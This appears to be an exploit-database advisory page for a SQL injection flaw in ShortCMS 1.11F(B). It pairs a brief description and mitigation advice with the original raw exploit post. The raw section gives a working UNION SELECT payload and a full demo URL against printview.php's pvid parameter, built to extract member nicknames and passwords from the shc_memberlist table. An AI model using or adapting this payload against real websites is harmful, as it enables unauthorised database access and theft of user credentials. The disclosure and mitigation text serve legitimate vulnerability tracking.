ShortCMS v. 1.11F(B) (con) SQL Injection Vulnerability

vendor:

ShortCMS

by:

Gamoscu

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: ShortCMS

Affected Version From: 1.11F(B)

Affected Version To: 1.11F(B)

Patch Exists: NO

Related CWE: N/A

CPE: a:shortcms:shortcms:1.11f(b)

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

ShortCMS v. 1.11F(B) (con) SQL Injection Vulnerability

ShortCMS v. 1.11F(B) is vulnerable to a SQL injection vulnerability. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable script printview.php?func=con&pvid= with a SQL payload. This will allow the attacker to extract sensitive information from the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Additionally, the application should be configured to use parameterized queries.

Source

Exploit-DB raw data:

ShortCMS v. 1.11F(B) (con) SQL Injection  Vulnerability 
  
###########################
  
Author    : Gamoscu 
Homepage  : http://www.1923turk.com 
Blog      : http://gamoscu.wordpress.com/ 
Script    : ShortCMS
Download  : http://www.shortcms.de/index.php?dwnldct
  
###########################  
    
[ Vulnerable File ]

printview.php?func=con&pvid= [ SQL ]
     

[ XpL ]
  
-1/**/union/**/all/**/select/**/1,2,concat(member_nick,0x3a,member_pass),4,5,6,7,8,9,10,11,12,13,14,15+from+shc_memberlist--


[ Demo]
    
    
http://server/kde/printview.php?func=con&pvid=-1/**/union/**/all/**/select/**/1,2,concat(member_nick,0x3a,member_pass),4,5,6,7,8,9,10,11,12,13,14,15+from+shc_memberlist--
    
   
##############################################################  
# Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO  
##############################################################